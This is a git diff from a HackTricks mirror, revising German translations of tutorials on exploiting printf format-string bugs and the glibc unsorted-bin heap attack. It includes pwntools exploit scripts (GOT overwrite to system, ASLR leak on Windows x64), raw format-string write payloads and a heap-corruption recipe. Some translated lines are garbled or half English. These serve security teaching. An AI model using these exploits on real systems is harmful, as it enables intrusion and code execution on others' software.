mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/macos-hardening/macos-security-and-privilege-escala
This commit is contained in:
parent
f542b9bbdd
commit
4ac278d8cd
@ -5,13 +5,13 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
In C **`printf`** ist eine Funktion, die verwendet werden kann, um einen String zu **ausgeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **Rohtext mit den Formatplatzhaltern**. Die **folgenden Parameter** sind die **Werte**, die die **Formatplatzhalter** im Rohtext **ersetzen**.
|
||||
In C **`printf`** ist eine Funktion, die verwendet werden kann, um einen **String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **Rohtext mit den Formatierern**. Die **folgenden Parameter** sind die **Werte**, die die **Formatierer** im Rohtext **ersetzen** sollen.
|
||||
|
||||
Weitere verwundbare Funktionen sind **`sprintf()`** und **`fprintf()`**.
|
||||
|
||||
Die Schwachstelle tritt auf, wenn ein **vom Angreifer kontrollierter Text als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe konstruieren, die die printf-Format-String-Fähigkeiten missbraucht**, um beliebige Daten an beliebigen Adressen zu **lesen** und zu **schreiben** (lesbar/schreibbar). Auf diese Weise kann beliebiger Code **ausgeführt** werden.
|
||||
Die Schwachstelle tritt auf, wenn ein **vom Angreifer stammender Text als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die die printf format string Fähigkeiten missbraucht**, um beliebige Daten an **beliebigen Adressen zu lesen und zu schreiben (lesbar/schreibbar)**. Auf diese Weise kann **beliebiger Code ausgeführt** werden.
|
||||
|
||||
#### Formatplatzhalter:
|
||||
#### Formatierer:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -39,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
- fprintf verwundbar:
|
||||
- fprintf anfällig:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -54,7 +54,7 @@ return 0;
|
||||
```
|
||||
### **Zugriff auf Pointers**
|
||||
|
||||
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuweisen, das n-te Argument (aus dem stack) auszuwählen. Wenn du also das 4. Argument vom stack mit printf auslesen möchtest, könntest du folgendes tun:
|
||||
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuweisen, das n-te Argument (vom stack) auszuwählen. Also, wenn du das 4. Argument vom stack mit printf lesen willst, könntest du:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
@ -64,16 +64,16 @@ Oder du könntest Folgendes tun:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
und liest direkt den vierten.
|
||||
und direkt die vierte Position lesen.
|
||||
|
||||
Beachte, dass der Angreifer den `printf` **parameter kontrolliert, which basically means that** seine Eingabe auf dem stack liegen wird, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische address in den stack schreiben könnte.
|
||||
Beachte, dass der Angreifer den `printf` **Parameter, was im Wesentlichen bedeutet, dass** seine Eingabe auf dem Stack liegen wird, wenn `printf` aufgerufen wird, und dass er dadurch spezifische Speicheradressen auf den Stack schreiben könnte.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **beliebige address in den stack einzufügen und `printf` dazu zu bringen, auf diese zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie dieses Verhalten genutzt werden kann.
|
||||
> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **beliebige Adressen in den Stack einzufügen und `printf` dazu zu bringen, auf diese zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten ausnutzt.
|
||||
|
||||
## **Arbitrary Read**
|
||||
|
||||
Es ist möglich, den Formatter **`%n$s`** zu verwenden, damit **`printf`** die **address**, die sich an der **n position** befindet, nimmt, ihr folgt und **so druckt, als wäre sie ein string** (druckt bis eine 0x00 gefunden wird). Wenn die base address des binary **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. position im stack beginnt, ist es möglich, den Anfang des binary mit:
|
||||
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** zu holen, die sich in der **n-ten Position** befindet, ihr zu folgen und **so zu drucken, als wäre sie ein String** (druckt bis ein 0x00 gefunden wird). Wenn also die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe in der 4. Position auf dem Stack beginnt, ist es möglich, den Anfang des Binaries mit:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Beachte, dass du die Adresse 0x8048000 nicht am Anfang der Eingabe setzen kannst, weil die Zeichenkette wegen eines 0x00-Bytes am Ende dieser Adresse beendet wird.
|
||||
> Beachte, dass du die Adresse 0x8048000 nicht an den Anfang der Eingabe setzen kannst, weil die Zeichenkette am Ende dieser Adresse in 0x00 cat wird.
|
||||
|
||||
### Offset finden
|
||||
|
||||
Um den Offset zu deiner Eingabe zu finden, könntest du 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`**, und den Wert **erhöhen**, bis du die `A's` zurückbekommst.
|
||||
Um den Offset zu deiner Eingabe zu finden, kannst du 4 oder 8 Bytes (`0x41414141`) gefolgt von **`%1$x`** senden und den Wert **erhöhen**, bis die `A's` erscheinen.
|
||||
|
||||
<details>
|
||||
|
||||
@ -131,22 +131,22 @@ p.close()
|
||||
Arbitrary reads können nützlich sein, um:
|
||||
|
||||
- **Dump** die **binary** aus dem Speicher
|
||||
- **Zugriff auf spezifische Teile des Speichers, in denen sensible** **info** gespeichert sind (wie canaries, encryption keys oder custom passwords wie in diesem [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Access specific parts of memory where sensitive** **info** gespeichert sind (wie canaries, encryption keys oder benutzerdefinierte Passwörter wie in diesem [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrary Write**
|
||||
|
||||
Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse**, die durch den <num>-Parameter auf dem Stack angezeigt wird. Wenn ein Angreifer so viele Zeichen mit printf schreiben kann, wie er möchte, kann er **`%<num>$n`** dazu bringen, eine beliebige Zahl in eine beliebige Adresse zu schreiben.
|
||||
Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse**, die durch den <num>-Parameter auf dem Stack referenziert wird. Wenn ein Angreifer mit printf beliebig viele Zeichen schreiben kann, kann er **`%<num>$n`** dazu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.
|
||||
|
||||
Glücklicherweise ist es nicht nötig, 9999 "A"s in die Eingabe zu schreiben, um die Zahl 9999 zu erreichen; stattdessen kann der Formatter **`%.<num-write>%<num>$n`** verwendet werden, um die Zahl **`<num-write>`** in die **durch die `num`-Position bezeichnete Adresse** zu schreiben.
|
||||
Glücklicherweise ist es nicht nötig, 9999 "A"s in die Eingabe zu schreiben, um die Zahl 9999 zu erzeugen. Stattdessen kann man den Formatter **`%.<num-write>%<num>$n`** verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, auf die die `num`-Position zeigt**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Beachte jedoch, dass man üblicherweise, um eine Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet. Dadurch werden **nur 2 Bytes** geschrieben. Deshalb wird dieser Vorgang zweimal durchgeführt: einmal für die höheren 2B der Adresse und einmal für die niedrigeren.
|
||||
Beachte jedoch, dass man normalerweise, um eine Adresse wie `0x08049724` zu schreiben (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben), **`$hn`** statt `$n` verwendet. Dadurch kann man **nur 2 Bytes** schreiben. Daher wird diese Operation zweimal durchgeführt: einmal für die höchsten 2B der Adresse und einmal für die niedrigeren.
|
||||
|
||||
Folglich erlaubt diese Schwachstelle, **beliebige Werte an beliebige Adressen zu schreiben (arbitrary write).**
|
||||
Deshalb erlaubt diese Schwachstelle, in jede Adresse irgendetwas zu schreiben (arbitrary write).
|
||||
|
||||
In diesem Beispiel ist das Ziel, die **Adresse** einer **Funktion** in der **GOT**-Tabelle zu **überschreiben**, die später aufgerufen wird. Obwohl dies auch andere arbitrary write → exec Techniken ausnutzen könnte:
|
||||
In diesem Beispiel ist das Ziel, die **Adresse** einer **Funktion** in der **GOT**-Tabelle zu **überschreiben**, die später aufgerufen wird. Obwohl dies andere arbitrary write to exec techniques ausnutzen könnte:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -154,12 +154,12 @@ In diesem Beispiel ist das Ziel, die **Adresse** einer **Funktion** in der **GOT
|
||||
{{#endref}}
|
||||
|
||||
Wir werden eine **Funktion** überschreiben, die ihre **Argumente** vom **Benutzer** erhält, und sie auf die **`system`** **Funktion** zeigen lassen.\
|
||||
Wie erwähnt, sind zum Schreiben der Adresse normalerweise 2 Schritte nötig: Zuerst schreibt man 2 Bytes der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
|
||||
Wie erwähnt, um die Adresse zu schreiben, sind normalerweise 2 Schritte nötig: Du **schreibst zuerst 2 Bytes** der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
|
||||
|
||||
- **HOB** bezeichnet die 2 höheren Bytes der Adresse
|
||||
- **LOB** bezeichnet die 2 niedrigeren Bytes der Adresse
|
||||
|
||||
Dann, aufgrund der Funktionsweise von format string, muss man **zuerst den kleineren** von \[HOB, LOB] schreiben und danach den anderen.
|
||||
Dann, wegen der Funktionsweise von format string, musst du **zuerst den kleineren** von [HOB, LOB] schreiben und dann den anderen.
|
||||
|
||||
If HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
### Pwntools Vorlage
|
||||
### Pwntools-Vorlage
|
||||
|
||||
Du findest eine **Vorlage**, um einen Exploit für diese Art von Schwachstelle vorzubereiten in:
|
||||
Du findest eine **Vorlage**, um einen exploit für diese Art von Schwachstelle vorzubereiten, in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Oder dieses grundlegende Beispiel von [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Oder dieses einfache Beispiel von [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -201,26 +201,26 @@ p.interactive()
|
||||
```
|
||||
## Format Strings to BOF
|
||||
|
||||
Es ist möglich, die Schreibaktionen einer format string vulnerability auszunutzen, um **in Adressen des stack zu schreiben** und eine **buffer overflow**-Art von Schwachstelle auszunutzen.
|
||||
Es ist möglich, die Schreibaktionen einer format string vulnerability zu missbrauchen, um **write in addresses of the stack** und eine **buffer overflow**-Art von Schwachstelle auszunutzen.
|
||||
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Unter Windows x64 werden die ersten vier Integer-/Pointer-Parameter in Registern übergeben: RCX, RDX, R8, R9. An vielen fehlerhaften Aufrufstellen wird die vom Angreifer kontrollierte Zeichenkette als Format-Argument verwendet, aber keine varargs übergeben, zum Beispiel:
|
||||
On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In vielen fehlerhaften Aufrufstellen wird der vom Angreifer kontrollierte String als Format-Argument verwendet, es werden aber keine variadischen Argumente übergeben, zum Beispiel:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
|
||||
Da keine varargs übergeben werden, bewirkt jede Konvertierung wie "%p", "%x", "%s", dass das CRT das nächste variadic argument aus dem entsprechenden Register liest. Bei der Microsoft x64 Aufrufkonvention stammt die erste solche Leseaktion für "%p" aus R9. Welcher vorübergehende Wert sich zum Aufrufzeitpunkt in R9 befindet, wird ausgegeben. In der Praxis leaks das häufig einen stabilen Pointer innerhalb des Moduls (z. B. ein Pointer auf ein lokal/globales Objekt, das zuvor von umgebendem Code in R9 platziert wurde, oder einen callee-saved Wert), der verwendet werden kann, um die Modulbasis zu rekonstruieren und ASLR zu umgehen.
|
||||
|
||||
Praktischer Workflow:
|
||||
Practical workflow:
|
||||
|
||||
- Injiziere ein harmloses Format wie "%p " ganz am Anfang des attacker-controlled string, sodass die erste Conversion ausgeführt wird bevor irgendeine Filterung.
|
||||
- Fange den leaked pointer ein, identifiziere den statischen Offset dieses Objekts im Modul (durch einmaliges reversing mit symbols oder einer lokalen Kopie), und rekonstruiere die image base als `leak - known_offset`.
|
||||
- Wiederverwende diese base, um absolute Adressen für ROP gadgets und IAT entries remote zu berechnen.
|
||||
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
|
||||
- Erfasse den leaked pointer, identifiziere den statischen Offset dieses Objekts im Modul (durch einmaliges Reversing mit Symbolen oder einer lokalen Kopie), und rekonstruiere die Modulbasis als `leak - known_offset`.
|
||||
- Nutze diese Basis, um aus der Ferne absolute Adressen für ROP gadgets und IAT entries zu berechnen.
|
||||
|
||||
Beispiel (abbreviated python):
|
||||
Beispiel (abgekürztes python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
@ -232,12 +232,12 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Hinweise:
|
||||
- Der genaue Offset, der subtrahiert werden muss, wird einmal während des lokalen Reversings ermittelt und dann wiederverwendet (dieselbe binary/version).
|
||||
Notes:
|
||||
- The exact offset to subtract is found once during local reversing and then reused (same binary/version).
|
||||
- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
|
||||
- Dieses Muster ist spezifisch für die Windows x64 calling convention und printf-family implementations, die nonexistent varargs aus Registern holen, wenn der Format-String sie anfordert.
|
||||
- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them.
|
||||
|
||||
Diese Technik ist extrem nützlich, um ROP auf Windows-Services zu bootstrapen, die mit ASLR kompiliert sind und keine offensichtlichen memory disclosure primitives besitzen.
|
||||
This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
|
@ -11,64 +11,63 @@ Für mehr Informationen darüber, was ein unsorted bin ist, siehe diese Seite:
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Unsorted-Listen können die Adresse von `unsorted_chunks (av)` in das `bk`-Feld des Chunks schreiben. Daher, wenn ein Angreifer die Adresse des `bk`-Pointers in einem Chunk im unsorted bin **ändern** kann, könnte er in der Lage sein, **diese Adresse an eine beliebige Adresse zu schreiben**, was nützlich sein kann, um Glibc-Adressen zu leaken oder Schutzmechanismen zu umgehen.
|
||||
Unsorted lists sind in der Lage, die Adresse von `unsorted_chunks (av)` in das `bk`-Feld des Chunks zu schreiben. Daher, wenn ein Angreifer die Adresse des `bk`-Pointers in einem Chunk innerhalb des unsorted bin ändern kann, könnte er diese Adresse an eine beliebige Adresse schreiben, was hilfreich sein kann, um Glibc-Adressen zu leaken oder einige Schutzmechanismen zu umgehen.
|
||||
|
||||
Kurz gesagt erlaubt dieser Angriff, **eine große Zahl an einer beliebigen Adresse zu setzen**. Diese große Zahl ist eine Adresse, die eine Heap-Adresse oder eine Glibc-Adresse sein kann. Ein traditionelles Ziel war **`global_max_fast`**, um fast bins mit größeren Größen zu ermöglichen (und vom unsorted bin attack zum fast bin attack zu wechseln).
|
||||
Kurz gesagt erlaubt dieser Angriff, eine große Zahl an einer beliebigen Adresse zu setzen. Diese große Zahl ist eine Adresse, die eine Heap-Adresse oder eine Glibc-Adresse sein kann. Ein traditionelles Ziel war `global_max_fast`, um fast bin bins mit größeren Größen zu erlauben (und vom unsorted bin attack zu einem fast bin attack überzugehen).
|
||||
|
||||
- Moderne Anmerkung (glibc ≥ 2.39): `global_max_fast` wurde zu einem 8‑Bit Global. Blindes Schreiben eines Pointers dort via unsorted-bin write wird angrenzende libc-Daten überschreiben und erhöht die fastbin-Grenze nicht mehr zuverlässig. Bevorzuge andere Ziele oder Primitiven gegen glibc 2.39+. Siehe "Modern constraints" weiter unten und erwäge die Kombination mit anderen Techniken wie einem [large bin attack](large-bin-attack.md) oder einem [fast bin attack](fast-bin-attack.md), sobald du ein stabiles Primitive hast.
|
||||
- Moderne Anmerkung (glibc ≥ 2.39): `global_max_fast` wurde zu einer 8‑Bit-Globalvariablen. Das blinde Schreiben eines Pointers dorthin via unsorted‑bin write überschreibt angrenzende libc-Daten und erhöht das fastbin-Limit nicht mehr zuverlässig. Bevorzuge andere Ziele oder andere Primitive gegen glibc 2.39+. Siehe "Moderne Einschränkungen" weiter unten und erwäge die Kombination mit anderen Techniken wie einem [large bin attack](large-bin-attack.md) oder einem [fast bin attack](fast-bin-attack.md), sobald du ein stabiles Primitive hast.
|
||||
|
||||
> [!TIP]
|
||||
> Wenn man sich das Beispiel in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) anschaut und 0x4000 und 0x5000 statt 0x400 und 0x500 als Chunk-Größen verwendet (um Tcache zu vermeiden), sieht man, dass **heutzutage** der Fehler `malloc(): unsorted double linked list corrupted` ausgelöst wird.
|
||||
> Ein Blick auf das Beispiel in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) und die Verwendung von 0x4000 und 0x5000 statt 0x400 und 0x500 als Chunk-Größen (um Tcache zu vermeiden) zeigt, dass **heutzutage** der Fehler **`malloc(): unsorted double linked list corrupted`** ausgelöst wird.
|
||||
>
|
||||
> Daher erfordert dieser unsorted bin attack jetzt (neben anderen Checks) auch, die doppelt verkettete Liste so zu manipulieren, dass die Prüfung `victim->bk->fd == victim` oder `victim->fd == av (arena)` nicht fehlschlägt. Das bedeutet, dass die Adresse, an die wir schreiben wollen, in ihrer `fd`-Position die Adresse des gefälschten Chunks enthalten muss und das gefälschte Chunk `fd` auf die arena zeigt.
|
||||
> Daher erfordert dieser unsorted bin attack jetzt (neben anderen Checks) auch, die doppelt verkettete Liste so zu reparieren, dass die Überprüfungen `victim->bk->fd == victim` und `victim->fd == av (arena)` erfüllt sind, was bedeutet, dass die Adresse, an die wir schreiben wollen, in ihrer `fd`-Position die Adresse des gefälschten Chunks haben muss und dass das `fd` des gefälschten Chunks auf die arena zeigt.
|
||||
|
||||
> [!CAUTION]
|
||||
> Beachte, dass dieser Angriff das unsorted bin (und damit auch small und large) korruptiert. Deshalb können wir jetzt nur **Allokationen aus den fast bins verwenden** (ein komplexeres Programm könnte andere Allokationen durchführen und abstürzen); um das auszulösen, müssen wir **genau dieselbe Größe allokieren, sonst stürzt das Programm ab.**
|
||||
> Beachte, dass dieser Angriff das unsorted bin korruptiert (und damit auch small und large). Daher können wir jetzt nur noch **Allocations aus den fast bin** verwenden (ein komplexeres Programm könnte andere Allocations durchführen und abstürzen), und um dies auszulösen, müssen wir **die gleiche Größe allozieren, sonst stürzt das Programm ab.**
|
||||
>
|
||||
> Das Überschreiben von **`global_max_fast`** kann in diesem Fall helfen, wenn man darauf vertraut, dass die fast bin die restlichen Allokationen übernimmt, bis der Exploit abgeschlossen ist.
|
||||
> Beachte, dass das Überschreiben von **`global_max_fast`** in diesem Fall helfen kann, sofern das fast bin alle anderen Allocations bis zum Abschluss des Exploits übernehmen kann.
|
||||
|
||||
Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt das sehr gut; wenn man die mallocs aber so ändert, dass sie groß genug sind, um nicht in Tcache zu landen, sieht man den oben genannten Fehler, der diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`**
|
||||
Der Code von [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) erklärt das sehr gut; wenn man jedoch die mallocs so ändert, dass sie Speicher groß genug allozieren, um nicht in einen Tcache zu fallen, sieht man, dass der zuvor erwähnte Fehler auftritt und diese Technik verhindert: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
### Wie der Schreibvorgang tatsächlich abläuft
|
||||
|
||||
- Der unsorted-bin write wird beim `free` ausgelöst, wenn das freigegebene Chunk an den Kopf der unsorted-Liste eingefügt wird.
|
||||
- Während der Einfügung führt der Allocator folgende Schritte aus: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
|
||||
- Wenn du `victim->bk` vor dem Aufruf von `free(victim)` auf `(mchunkptr)(TARGET - 0x10)` setzen kannst, wird die letzte Anweisung den Schreibvorgang durchführen: `*(TARGET) = victim`.
|
||||
- Später, wenn der Allocator das unsorted bin verarbeitet, prüfen die Integritätschecks (unter anderem), dass `bck->fd == victim` und `victim->fd == unsorted_chunks(av)`, bevor sie unlinken. Da die Einfügung bereits `victim` in `bck->fd` (unser TARGET) geschrieben hat, können diese Prüfungen erfüllt sein, wenn der Schreibvorgang erfolgreich war.
|
||||
- Der unsorted‑bin write wird bei `free` ausgelöst, wenn der freigegebene Chunk am Kopf der unsorted list eingefügt wird.
|
||||
- Während der Einfügung führt der Allocator aus: bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
|
||||
- Wenn du `victim->bk` auf `(mchunkptr)(TARGET - 0x10)` setzen kannst bevor du `free(victim)` aufrufst, wird die letzte Anweisung die Schreiboperation ausführen: `*(TARGET) = victim`.
|
||||
- Später, wenn der Allocator das unsorted bin verarbeitet, werden Integritätsprüfungen (unter anderem) verifizieren, dass `bck->fd == victim` und `victim->fd == unsorted_chunks(av)` bevor unlinking erfolgt. Da die Einfügung bereits `victim` in `bck->fd` (unser `TARGET`) geschrieben hat, können diese Checks erfüllt sein, wenn der Write erfolgreich war.
|
||||
|
||||
## Moderne Einschränkungen (glibc ≥ 2.33)
|
||||
|
||||
Um unsorted‑bin-Schreibvorgänge zuverlässig auf aktuellem glibc zu nutzen:
|
||||
Um unsorted‑bin Writes auf aktuellen glibc zuverlässig zu verwenden:
|
||||
|
||||
- Tcache interference: Für Größen, die in Tcache fallen, werden frees dorthin umgeleitet und berühren nicht das unsorted bin. Entweder
|
||||
- mache Anfragen mit Größen > MAX_TCACHE_SIZE (≥ 0x410 auf 64‑Bit standardmäßig), oder
|
||||
- fülle das entsprechende Tcache-Bin (7 Einträge), sodass zusätzliche frees die globalen Bins erreichen, oder
|
||||
- wenn die Umgebung kontrollierbar ist, deaktiviere tcache (z. B. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
|
||||
- Integritätsprüfungen auf der unsorted-Liste: Auf dem nächsten Allokationspfad, der das unsorted bin prüft, testet glibc (vereinfacht):
|
||||
- `bck->fd == victim` und `victim->fd == unsorted_chunks(av)`; andernfalls bricht es mit `malloc(): unsorted double linked list corrupted` ab.
|
||||
- Das bedeutet, dass die Adresse, die du anvisierst, zwei Schreiboperationen tolerieren muss: zuerst `*(TARGET) = victim` zur free‑Zeit; später, wenn das Chunk entfernt wird, `*(TARGET) = unsorted_chunks(av)` (der Allocator schreibt `bck->fd` zurück auf den Bin-Kopf). Wähle Ziele, bei denen allein das Erzwingen eines großen Nicht‑Null‑Werts nützlich ist.
|
||||
- Typische stabile Ziele in modernen Exploits
|
||||
- Anwendungs- oder globaler Zustand, der "große" Werte als Flags/Grenzen behandelt.
|
||||
- Indirekte Primitives (z. B. Vorbereitung für einen nachfolgenden [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) oder um später einen write‑what‑where zu pivotieren).
|
||||
- Vermeide `__malloc_hook`/`__free_hook` in neueren glibc: diese wurden in 2.34 entfernt. Vermeide `global_max_fast` auf ≥ 2.39 (siehe vorherige Anmerkung).
|
||||
- Tcache-Interferenz: Für Größen, die in den tcache fallen, werden frees dorthin umgeleitet und berühren nicht das unsorted bin. Entweder
|
||||
- mache Anfragen mit Größen > MAX_TCACHE_SIZE (≥ 0x410 auf 64‑Bit standardmäßig), oder
|
||||
- fülle die entsprechende tcache-Bin (7 Einträge), sodass zusätzliche frees die global bins erreichen, oder
|
||||
- wenn die Umgebung kontrollierbar ist, deaktiviere tcache (z. B. GLIBC_TUNABLES glibc.malloc.tcache_count=0).
|
||||
- Integritätsprüfungen auf der unsorted list: auf dem nächsten Allocations-Pfad, der das unsorted bin prüft, kontrolliert glibc (vereinfacht):
|
||||
- `bck->fd == victim` und `victim->fd == unsorted_chunks(av)`; andernfalls bricht es mit `malloc(): unsorted double linked list corrupted` ab.
|
||||
- Das bedeutet, dass die Adresse, die du targetest, zwei Writes tolerieren muss: zuerst `*(TARGET) = victim` zur Free‑Zeit; später, wenn der Chunk entfernt wird, `*(TARGET) = unsorted_chunks(av)` (der Allocator schreibt `bck->fd` zurück auf den Bin‑Kopf). Wähle Ziele, bei denen das Erzwingen eines großen Nicht‑Null‑Wertes nützlich ist.
|
||||
- Typische stabile Ziele in modernen Exploits:
|
||||
- Applikations- oder globaler Zustand, der "große" Werte als Flags/Limits behandelt.
|
||||
- Indirekte Primitive (z. B. Vorbereitung für einen nachfolgenden [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) oder um einen späteren write‑what‑where zu pivotieren).
|
||||
- Vermeide `__malloc_hook`/`__free_hook` in neuem glibc: sie wurden in 2.34 entfernt. Vermeide `global_max_fast` auf ≥ 2.39 (siehe vorherige Anmerkung).
|
||||
- Zu `global_max_fast` auf neueren glibc:
|
||||
- Auf glibc 2.39+ ist `global_max_fast` ein 8‑Bit‑Global. Der klassische Trick, einen Heap‑Pointer dorthin zu schreiben (um fastbins zu vergrößern), funktioniert nicht mehr sauber und wird wahrscheinlich angrenzenden Allocator‑Zustand korruptieren. Bevorzuge andere Strategien.
|
||||
|
||||
- Über `global_max_fast` in aktuellem glibc
|
||||
- In glibc 2.39+ ist `global_max_fast` ein 8‑Bit Global. Der klassische Trick, dort einen Heap‑Pointer hineinzuschreiben (um fastbins zu vergrößern), funktioniert nicht mehr sauber und wird wahrscheinlich angrenzenden Allocator‑Zustand korruptieren. Bevorzuge andere Strategien.
|
||||
## Minimales Exploit‑Rezept (moderner glibc)
|
||||
|
||||
## Minimales Exploit‑Rezept (modernes glibc)
|
||||
|
||||
Ziel: Mit der unsorted‑bin insertion primitive eine einzelne willkürliche Schreiboperation eines Heap‑Pointers an eine beliebige Adresse erreichen, ohne einen Absturz zu verursachen.
|
||||
Ziel: einen einzelnen arbiträren Write eines Heap‑Pointers an eine beliebige Adresse mittels des unsorted‑bin Insertions‑Primitives erreichen, ohne das Programm abstürzen zu lassen.
|
||||
|
||||
- Layout/Grooming
|
||||
- Allokiere A, B, C mit Größen, die groß genug sind, um tcache zu umgehen (z. B. 0x5000). C verhindert die Konsolidierung mit dem top chunk.
|
||||
- Alloziere A, B, C mit Größen, die groß genug sind, um tcache zu umgehen (z. B. 0x5000). C verhindert Konsolidierung mit dem top chunk.
|
||||
- Korruption
|
||||
- Overflow von A in B's Chunk‑Header, um `B->bk = (mchunkptr)(TARGET - 0x10)` zu setzen.
|
||||
- Overflow von A in Bs Chunk‑Header, um `B->bk = (mchunkptr)(TARGET - 0x10)` zu setzen.
|
||||
- Auslösen
|
||||
- `free(B)`. Zur Einfügezeit führt der Allocator `bck->fd = B` aus, daher wird `*(TARGET) = B`.
|
||||
- `free(B)`. Zur Einfügezeit führt der Allocator `bck->fd = B` aus; daher wird `*(TARGET) = B`.
|
||||
- Fortsetzung
|
||||
